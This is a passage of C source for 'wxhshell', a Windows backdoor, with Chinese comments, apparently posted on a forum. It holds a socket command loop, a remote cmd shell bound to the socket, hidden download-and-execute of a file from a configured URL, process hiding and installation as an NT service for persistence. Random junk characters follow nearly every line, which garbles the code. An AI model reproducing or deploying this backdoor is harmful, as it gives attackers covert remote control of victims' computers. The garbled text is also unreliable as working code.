  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ivg:`$a[  
  } P=PcO>  
  else { l*_%K}%?V  
2 g5Ft  
    switch(cmd[0]) { ^HYmi\`  
  UQ6UZd37   
  // 帮助 [ fvip_Pt  
  case '?': { u3)Oj7cX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ],CJSA!5F  
    break; #U45;idp  
  } 'zCJK~x`x  
  // 安装 7 zo)t1H1  
  case 'i': { vH/<!jtI  
    if(Install()) 37GJ}%Qs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EN6a? }5  
    else $MD|YW5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gh}k9-L  
    break; "Y0:Y?Vz"  
    } Q WVH4rg  
  // 卸载 a)J3=Z-  
  case 'r': { )D\cm7WX^[  
    if(Uninstall()) <YX)am'\y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qj *IKS  
    else .BN~9w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N!Dc\d=8q]  
    break; B;Pws$J  
    } G{$(t\>8  
  // 显示 wxhshell 所在路径 qjcy{@ j  
  case 'p': { 2,,zN-9mt  
    char svExeFile[MAX_PATH]; 9Fb|B  
    strcpy(svExeFile,"\n\r"); YI05?J}  
      strcat(svExeFile,ExeFile); Z* eb  
        send(wsh,svExeFile,strlen(svExeFile),0); 5sJi- ^  
    break; Pw:(X0@  
    } Hik8u!#P  
  // 重启 <[{Ty+  
  case 'b': { BG:l Zj'I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6&/H XqP  
    if(Boot(REBOOT)) p ;E zmz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v~^c-]4I  
    else { ?^]29p_  
    closesocket(wsh); !z@QoD  
    ExitThread(0); =f'MiU!p6  
    } :M" NB+T  
    break; #hL<9j  
    } {Ic~}>w  
  // 关机 $nN`K*%  
  case 'd': { Eq$Q%'5*ua  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R^zTgyr  
    if(Boot(SHUTDOWN)) ]jo^P5\h>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bg.f';C  
    else { XE8~R5  
    closesocket(wsh); S%KY%hUt  
    ExitThread(0); *p!K9$4  
    } bz!9\D|h  
    break; hKq <e%oVH  
    } W\09h Z6  
  // 获取shell j" wX7  
  case 's': { YrAaL"20  
    CmdShell(wsh); T' O5> e  
    closesocket(wsh); OiPE,sv  
    ExitThread(0); RqTW$94RD  
    break; Q*wub9  
  } "=)i'x"0"  
  // 退出 W[S4s/)mg  
  case 'x': { =Ny&`X#F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zA+&V7bvy  
    CloseIt(wsh); nLK%5C  
    break; jxA`RSY  
    } O8BxXa@5  
  // 离开 :x e/7-  
  case 'q': { & sbA:xZBA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (lv|-Phc.  
    closesocket(wsh); RFF&-M]  
    WSACleanup(); v~-z["=}!  
    exit(1); $ijWwrh  
    break; C6Qnn@waYb  
        } \ZdV|23  
  } LF+#PnK  
  } n 99>oh  
bni :B?#  
  // 提示信息 )@DT^#zR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aYQ!`mS::M  
} v5"5UPi-  
  } }\5^$[p  
1B~H*=t4h  
  return; [ bv>(a_,  
} oQJK}9QR  
9vc3&r  
// shell模块句柄 arf`%9M  
int CmdShell(SOCKET sock) {E!"^^0`  
{ 1M&n=s _  
STARTUPINFO si; 12)~PIaF  
ZeroMemory(&si,sizeof(si)); ju8mO&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =x "N0p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2!QS&i  
PROCESS_INFORMATION ProcessInfo; ?_9cFo59:  
char cmdline[]="cmd"; 4xLU15C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3\eb:-B:@  
  return 0; iN%\wkx*N  
} x#yL&+'?Mj  
]9z{ 95  
// 自身启动模式 Ve>*KHDSt  
int StartFromService(void) S3nA}1R  
{ F?2(U\k#  
typedef struct vPuPSE%M  
{ xM85^B'  
  DWORD ExitStatus; k1y&' 3%  
  DWORD PebBaseAddress; /$zYSP)YT  
  DWORD AffinityMask; b6!?K!imT  
  DWORD BasePriority; <Q)6N!Tp^  
  ULONG UniqueProcessId; (n7 v $A  
  ULONG InheritedFromUniqueProcessId; ai"Kd=R  
}   PROCESS_BASIC_INFORMATION; ;zI;oY#.y  
}x % ;y]S  
PROCNTQSIP NtQueryInformationProcess; L+Q"z*W  
+=I_3Wtth  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u->UV:u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]D&$k P(  
W&`_cGoP  
  HANDLE             hProcess; k^I4z^O=-;  
  PROCESS_BASIC_INFORMATION pbi; D6Ov]E:fa  
mj :8ZZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b\~rL,7(  
  if(NULL == hInst ) return 0; qA:CV(Z  
. (*V|&n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *ie#9jA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m;o \.s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *=}$@O S  
Gad! }dz  
  if (!NtQueryInformationProcess) return 0; +GMM&6<  
 K9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Bg} a  
  if(!hProcess) return 0; o2?[*pa  
l'-dB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vvw6 GB,M  
w C]yE\P1  
  CloseHandle(hProcess); j<!rc>)2+L  
0}$",M!p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gsuf d{{  
if(hProcess==NULL) return 0; Uj}iMw,  
' U{?"FP  
HMODULE hMod; @TC_XU)&  
char procName[255]; YhFB*D;  
unsigned long cbNeeded; Dw    
M5 ep\^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {/12.y=)~  
4lC:svF  
  CloseHandle(hProcess); Q/4g)(~J  
1R9hA7y&,/  
if(strstr(procName,"services")) return 1; // 以服务启动 LoUi Yf  
C)`ZI8  
  return 0; // 注册表启动 |mV*HdqU  
} OtJYr1:y_  
;hNn F&l  
// 主模块 k7)H %31;  
int StartWxhshell(LPSTR lpCmdLine) R{)Sv| +`  
{ HB`u@9le  
  SOCKET wsl; c ;`  
BOOL val=TRUE; 7 }(LO^,A  
  int port=0; > taT;[Oa  
  struct sockaddr_in door; 4 W}8?&T  
4%2QF F @  
  if(wscfg.ws_autoins) Install(); (.7_`T6QG  
rs2~spN;h  
port=atoi(lpCmdLine); %stZ'IX  
a?E]-Zf  
if(port<=0) port=wscfg.ws_port; VztalwI  
6N\~0d>5m  
  WSADATA data; L <]j&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vjaIFyj  
K^?yD   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3(%hHM7DM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !cT#G  
  door.sin_family = AF_INET; N5csq(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MzYTEe&-L  
  door.sin_port = htons(port); K$(&Qx}  
Z'<=06  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^*'|(Cv  
closesocket(wsl); j#y_#  
return 1; z^I"{eT8  
} ~|@aV:k  
gt6*x=RCrQ  
  if(listen(wsl,2) == INVALID_SOCKET) { |ap{+ xh  
closesocket(wsl); uF9p:FvN8  
return 1; r|cl6s!P  
} U#1T HO`  
  Wxhshell(wsl); `zRgP#  
  WSACleanup(); ja70w:ja  
MX6*waQ-<  
return 0; EnA) Rz  
C*ZgjFvB  
} Xj"/6|X  
fG;)wQJ  
// 以NT服务方式启动 o %A4wEye  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lYT}Nc4"="  
{ CjORL'3  
DWORD   status = 0; :2Qm*Y&_$V  
  DWORD   specificError = 0xfffffff; `23&vGk}  
)y'`C@ijI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )<9g+^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~-lIOQ.v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tz+2g&+  
  serviceStatus.dwWin32ExitCode     = 0; $&nF1HBI4  
  serviceStatus.dwServiceSpecificExitCode = 0; =#n05*^  
  serviceStatus.dwCheckPoint       = 0; e"hm|'  
  serviceStatus.dwWaitHint       = 0; Yi&;4vC  
V\%;S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f!e8xDfA  
  if (hServiceStatusHandle==0) return; #>O,w0<qM  
Wra*lQb/B  
status = GetLastError(); $iDatQ[  
  if (status!=NO_ERROR) UF=5k~7<b  
{ 3 =@7:4 A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !Zgb|e8<  
    serviceStatus.dwCheckPoint       = 0; fo&q/;l\  
    serviceStatus.dwWaitHint       = 0; !0c7nzjm  
    serviceStatus.dwWin32ExitCode     = status; >BMJA:j  
    serviceStatus.dwServiceSpecificExitCode = specificError; &5Ea6j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cQzd0X  
    return; [wRk )kl`  
  } oh%T4 $  
VXZdRsV8T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HnUM:-6  
  serviceStatus.dwCheckPoint       = 0; e'(n ^_$nl  
  serviceStatus.dwWaitHint       = 0; +`u]LOAyP=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r-'\<d(J$  
} yfiRMN"2  
NS-u,5Jt  
// 处理NT服务事件,比如:启动、停止 Ud^+a H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {z|0Y&>[=  
{ 2W|4  
switch(fdwControl) }fZT$'*;  
{ })g|r9=  
case SERVICE_CONTROL_STOP: |;6FhDW+'  
  serviceStatus.dwWin32ExitCode = 0; ?0hk~8c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zN#$eyt  
  serviceStatus.dwCheckPoint   = 0; 7on$}=%  
  serviceStatus.dwWaitHint     = 0; 9~ajEs  
  { *'`ByS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jIv+=b#oT  
  } <tuh%k  
  return; ].pz  
case SERVICE_CONTROL_PAUSE: bPC {4l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [{6]iJ  
  break; \r^=W=  
case SERVICE_CONTROL_CONTINUE: K:z|1V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x^8xz5:O  
  break; I?J$";A  
case SERVICE_CONTROL_INTERROGATE: rl'YyO}2  
  break; :IV4]`  
}; {a `kPfP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :m_0WT  
} 6S])IA&VJ  
Xp1xhb*^  
// 标准应用程序主函数 Zg5@l3w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M7Cq)cT  
{ :35J<oG  
[esjR`u  
// 获取操作系统版本 ETV|;>v  
OsIsNt=GetOsVer(); )K -@{v^|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /XEcA 5C<  
eg~$WB;1  
  // 从命令行安装 vlw2dY@^  
  if(strpbrk(lpCmdLine,"iI")) Install(); /8q7pwV  
|iLeOztuE  
  // 下载执行文件 i cQsA  
if(wscfg.ws_downexe) { lEQ 63)Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]n${j/x  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ec8Y}C,{7<  
} 7XT2d=)"  
8UwL%"?YB  
if(!OsIsNt) { `O.*qs5  
// 如果时win9x,隐藏进程并且设置为注册表启动 uh\I'  
HideProc(); xVuGean Cv  
StartWxhshell(lpCmdLine); j +@1frp  
} =y,_FFoS  
else _:+W0YS  
  if(StartFromService()) D2E~ c? V  
  // 以服务方式启动 Itr yiU9  
  StartServiceCtrlDispatcher(DispatchTable); aN ). G1  
else L; Nz\sJ  
  // 普通方式启动 #?}k0Y  
  StartWxhshell(lpCmdLine); yf*MG&}  
~)tIO<$U  
return 0; Pw1V1v&> q  
}
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只看该作者 1 发表于: 2006-10-10
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